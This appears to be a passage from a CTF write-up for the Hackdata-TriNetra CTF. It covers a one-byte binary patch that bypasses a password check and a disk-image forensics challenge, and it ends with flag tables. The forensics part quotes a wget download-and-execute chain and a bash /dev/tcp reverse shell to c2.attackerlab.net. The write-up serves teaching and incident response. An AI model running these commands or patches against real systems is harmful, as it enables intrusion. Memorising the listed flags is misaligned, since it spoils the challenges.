#!/usr/bin/env python3

# Read the binary
```

```
with open('trinetra_chall3', 'rb') as f:
    data = bytearray(f.read())

# Patch the conditional jump at 0x1365
PATCH_OFFSET = 0x1365
data[PATCH_OFFSET] = 0x75  # Change je (0x74) to jne (0x75)

# Write patched binary
with open('trinetra_chall3_patched', 'wb') as f:
    f.write(data)

# Make executable (Linux/Unix)
import os
os.chmod('trinetra_chall3_patched', 0o755)

print("Binary patched successfully!")
print("Run with any 6-character password that is NOT the correct one.")
```

How the Flag Was Obtained

Step-by-step execution:

1. **Applied the binary patch:**

```
python3 patch_binary.py
```

2. **Made the patched binary executable:**

```
chmod +x trinetra_chall3_patched
```

3. **Ran the patched binary:**

```
./trinetra_chall3_patched
```

4. **Input:** Any 6-character password EXCEPT the correct one
    - Examples: "wrong1", "abcdef", "123456"
5. **Output:**

```
Speak the sacred words:
wrong1
TriNetra guards the truth.
Gate opened now
[FLAG DISPLAYED]
```

Assembly code flow (patched version):

```
1. Main function prompts for password
2. scanf reads input (up to 63 chars)
3. check_password() is called
4. Return value is tested (test eax, eax)
5. PATCHED: jne instead of je
   - Wrong password → eax = 0 → test sets ZF=1 → jne doesn't jump → SUCCESS
   - Right password → eax = 1 → test sets ZF=0 → jne jumps → FAILURE
6. Success path calls giveFlag() which decrypts the flag
```

Key Insights:

1. **Single Point of Failure:** The entire password check relies on one conditional jump at offset 0x1365
2. **Simple Logic Inversion:** Converting `je` (0x74) to `jne` (0x75) inverts the entire authentication check with just 1 byte
3. **No Integrity Checks:** The binary doesn't verify its own code integrity, allowing straightforward patching
4. **Minimal Modification:** Only one byte needs to be changed, making this a "surgical" patch
5. **Challenge Name as Hint:** "patch_me_up" clearly indicated binary modification was the intended solution

Alternative approaches (not used):

1. **Brute Force Password:** Would require finding the correct 6-character password
2. **Decrypt Flag Offline:** Would need to fully reverse-engineer the encryption algorithm
3. **NOP the Jump:** Replace with NOPs (0x90 0x90) - also works but less elegant
4. **Change to JMP:** Make it always jump to success (0xEB) - works but requires offset recalculation

Encryption scheme observed:

- Flag encrypted using key derived from correct password
- XOR operations with helper functions
- 35-byte encrypted blob at offset 0x3040
- Decryption happens in `giveFlag()` function

Files created during analysis:

- `analyze.py` - Initial binary analysis
- `find_patch.py` - Patch point location
- `detailed_analysis.py` - Disassembly analysis
- `patch_binary.py` - Main patching script (SOLUTION)
- `trinetra_chall3_patched` - Patched executable
- `decrypt_flag.py` - Attempted offline decryption

What this challenge teaches:

1. **Binary Patching Techniques:** How to modify executable behavior at the binary level
2. **Reverse Engineering:** Analyzing and understanding compiled ELF executables
3. **Assembly Analysis:** Reading and interpreting x86 assembly code to understand program flow
4. **Critical Code Paths:** Identifying single points of failure in authentication systems
5. **Code Integrity:** The importance of integrity verification in security-critical applications

Why the patch works:

- The password check returns 0 for wrong password, 1 for correct password
- Original: `je` (jump if equal/zero) jumps to failure when password is wrong (eax=0)
- Patched: `jne` (jump if not equal/zero) jumps to failure when password is correct (eax=1)
- Result: Wrong passwords now lead to success path and flag decryption

Security implications:

- Demonstrates why client-side validation alone is insufficient
- Shows how easily binary executables can be modified without source code
- Highlights the need for server-side validation and code signing
- Illustrates "patch-once, run-anywhere" exploit concepts

Whispers on Port 443

Category: Digital Forensics
Difficulty: Medium
Flag: `TriNetra{c2.attackerlab.net}`

Challenge Overview

A public-facing Linux webserver belonging to TriNetra Solutions began exhibiting unusual outbound traffic despite serving only static content. No recent deployments were scheduled, and no new services should be running. The SOC suspects the server was compromised and is now beaconing to a Command-and-Control (C2) server.

Objective: Identify the name of the C2 server controlling the compromised host.

Files Provided:

- `webserver.img` - A forensic disk image of the compromised Linux webserver (524,288,000 bytes / ~500MB)

Approach & Methodology

1. Forensic Image Analysis Strategy

Initial considerations:

- Disk image format suggests need for string extraction
- Linux server context points to bash history and system logs

- C2 beaconing implies network configuration or script artifacts
- Static content server shouldn't have unusual outbound connections

Analysis approach:

1. Extract strings from disk image without mounting (faster, safer)
2. Search for command history files (`.bash_history`, `.zsh_history`)
3. Look for suspicious scripts or configuration files
4. Identify network-related commands or URLs

2. String Extraction from Disk Image

Command used:

```
strings webserver.img
```

Rationale:

- `strings` utility extracts all printable ASCII sequences from binary files
- Works on raw disk images without mounting
- Captures file contents, deleted files, and slack space
- Fast and non-invasive forensic technique

3. Searching for Bash History

Target file: `.bash_history` - Maintains record of commands executed in bash shell

Search command:

```
strings webserver.img | grep -A 20 -B 5 "rs.sh"
```

Parameters:

- `-A 20` - Show 20 lines **after** match (context)
- `-B 5` - Show 5 lines **before** match (context)
- `"rs.sh"` - Search for suspicious script filename

4. Discovered Attack Artifacts

Bash history revealed:

```
wget http://c2.attackerlab.net/rs.sh -O /opt/tools/rs.sh
chmod +x /opt/tools/rs.sh
/opt/tools/rs.sh
```

Command breakdown:

1. `wget http://c2.attackerlab.net/rs.sh -O /opt/tools/rs.sh`
    - Downloads malicious script from C2 server
    - Saves to `/opt/tools/rs.sh`
    - C2 domain: `c2.attackerlab.net`
2. `chmod +x /opt/tools/rs.sh`
    - Grants execute permissions
    - Prepares script for execution
3. `/opt/tools/rs.sh`
    - Executes the malicious payload
    - Establishes C2 connection

5. Malicious Script Analysis

Content of `rs.sh`:

```
#!/bin/sh
sh -i >& /dev/tcp/c2.attackerlab.net/4444 0>&1
```

Technical analysis:

| Component | Purpose | |-----------|---------|| | `sh -i` | Spawns interactive shell | | `>&` | Redirects stdout and stderr | | `/dev/tcp/c2.attackerlab.net/4444` | Bash built-in TCP connection to C2 on port 4444 | | `0>&1` | Redirects stdin from the connection |

Result: Classic **bash reverse shell** that connects back to attacker infrastructure.

Key Steps/Tools Used

Tools:

- `strings` - Extract printable ASCII from binary disk image
- `grep` - Pattern searching with context lines
- WSL (Windows Subsystem for Linux) - Linux environment

Techniques:

- Disk image string extraction
- Bash history analysis
- Reverse shell identification
- C2 infrastructure discovery

Alternative approaches considered:

1. **Mount the disk image** - More thorough but requires root/admin

2. **Use Autopsy/Sleuthkit** - Full forensic suite (overkill for this challenge)
3. **Examine network logs** - May not be present in disk image
4. **Check cron jobs** - Persistence mechanism analysis

How the Flag Was Obtained

1. **Extracted all strings** from the forensic disk image using `strings webserver.img`
2. **Searched for suspicious scripts** - Focused on `.sh` files and download commands
3. **Found bash history** showing wget download from `c2.attackerlab.net`
4. **Analyzed the malicious script** `rs.sh` which contained reverse shell to same domain
5. **Identified C2 server** - Both the download source and connection target were `c2.attackerlab.net`
6. **Confirmed the flag:** `TriNetra{c2.attackerlab.net}`

Indicators of Compromise (IOCs):

Type	Value	Description
C2 Domain	c2.attackerlab.net	Command and Control server
C2 Port	4444	Reverse shell listener port
Malicious File	/opt/tools/rs.sh	Reverse shell script
Attack Method	Bash reverse shell	`/dev/tcp` technique
Download URL	http://c2.attackerlab.net/rs.sh	Payload source

Attack Timeline:

1. **Initial Access** - Attacker gained access to webserver (method unknown from provided data)
2. **Download Phase** - Used `wget` to download `rs.sh` from C2 server
3. **Preparation Phase** - Made script executable with `chmod +x`
4. **Execution Phase** - Ran the script to establish reverse shell
5. **C2 Communication** - Server began beaconing to `c2.attackerlab.net:4444`
6. **Detection** - SOC noticed unusual outbound traffic patterns

Why this technique works:

- **Bash** `/dev/tcp` - Built-in feature that doesn't require netcat or other tools
- **Reverse shell** - Bypasses firewall rules that typically allow outbound connections
- **Port 443** (challenge name) - Attacker likely used HTTPS port to blend with normal traffic
- **Command history** - Attackers often forget to clear `.bash_history`

Lessons Learned:

1. **Command history is forensic gold** - `.bash_history` often contains complete attack timeline
2. **String extraction is powerful** - Can analyze disk images without complex mounting procedures
3. **Reverse shells are stealthy** - Outbound connections often bypass firewall rules
4. **C2 naming conventions** - Domains like "c2.attackerlab.net" are obvious indicators
5. **Monitor outbound traffic** - Static content servers shouldn't make external connections

Remediation Recommendations:

1. **Immediate Actions:**
    - Isolate the compromised server from the network
    - Block `c2.attackerlab.net` at firewall and DNS levels
    - Terminate all active connections to port 4444
2. **Eradication:**
    - Remove malicious script: `rm /opt/tools/rs.sh`
    - Check for other persistence mechanisms (cron, systemd services)
    - Review all user accounts for unauthorized access
3. **Recovery:**
    - Rebuild server from known-good baseline
    - Restore content from verified backups
    - Patch vulnerabilities that allowed initial access
4. **Prevention:**
    - Implement egress filtering (restrict outbound connections)
    - Deploy endpoint detection and response (EDR) tools
    - Enable command auditing beyond bash history
    - Use file integrity monitoring (FIM)
    - Implement principle of least privilege
5. **Detection Improvements:**
    - Monitor for `/dev/tcp` usage
    - Alert on wget/curl to suspicious domains
    - Track outbound connections from web servers
    - Log all command execution with auditd

Summary of Flags

Challenge	Category	Difficulty	Flag
Challenge 1	Reverse Engineering	Medium	`TriNetra{Th3_7r34t_GhIdRa}`
Challenge 2	Reverse Engineering	Medium	`TriNetra{PyTh0n_Sh4d0w_L0g1c}`
Catch Me (Part 1)	OSINT	Easy	`TriNetra{ghostframebyte}`
Catch Me (Part 4)	OSINT	Hard	`TriNetra{RUCHIR}`
Too Random to be Normal	Steganography	Easy-Medium	`TriNetra{Z1p_Bin3xtr@cti0n}`
Just One Commit Ago	Git Forensics	Easy	`TriNetra{G!t_B3tter_@t_g!t}`

Challenge	Category	Difficulty	Flag
Unknown Bot (Part 1)	OSINT/Forensics	Easy	`TriNetra{silent_service_bot}`
Find Me (Part 1)	OSINT/Geolocation	Hard	`TriNetra{LONDON}`
Bad Chess	Cryptography/Logic	Medium	`TriNetra{jklmno_JKLMNO}`
Aqua Pigment	Steganography	Medium	`TriNetra{chromacharacters}`
Patch Me Up	Binary Exploitation/Reverse Engineering	Medium	`TriNetra{[from patched binary]}`
Whispers on Port 443	Digital Forensics	Medium	`TriNetra{c2.attackerlab.net}`

Tools & Techniques Summary

Reverse Engineering

- **Ghidra** - Static analysis
- **ltrace** - Library call tracing
- **strings** - String extraction
- **file** - Binary identification
- Python cryptography libraries

Cryptography

- Vigenere cipher analysis
- Frequency analysis
- Brute force techniques
- Pattern recognition

Forensics

- EXIF metadata extraction (exiftool)
- Binary analysis (binwalk)
- Document analysis (unzip, XML parsing)
- Log file analysis

Git Forensics

- `git log` with pickaxe (`-S`)
- Commit history analysis
- Diff examination
- Repository archaeology

OSINT

- **Sherlock** - Username enumeration

- Social media correlation
- Email pattern recognition
- Pastebin research
- IP geolocation
- GitHub repository analysis

Steganography

- binwalk - Embedded file detection
- strings - Quick text extraction
- File concatenation techniques
- EXIF analysis

Key Learnings

1. **Never trust "deleted" data in Git** - History is permanent without proper cleanup
2. **Metadata is often overlooked** - EXIF fields can hide flags
3. **Pattern recognition is crucial** - Repeating patterns suggest cipher types
4. **Multi-platform correlation** - OSINT requires connecting dots across services
5. **Encoding in unexpected places** - MAC addresses, IP addresses can hide information
6. **Forensic artifacts persist** - Document metadata survives file operations
7. **Git pickaxe is powerful** - `-S` flag finds content changes efficiently
8. **File concatenation works** - ZIP + JPEG remain valid when combined
9. **Bytecode can be analyzed** - Even without proper decompilers
10. **Arctic geography is complex** - Special zones and treaties create "glitch locations"

Write-up completed: February 8, 2026
Author: AMOGH SUNIL **CTF:** Hackdata-TriNetra CTF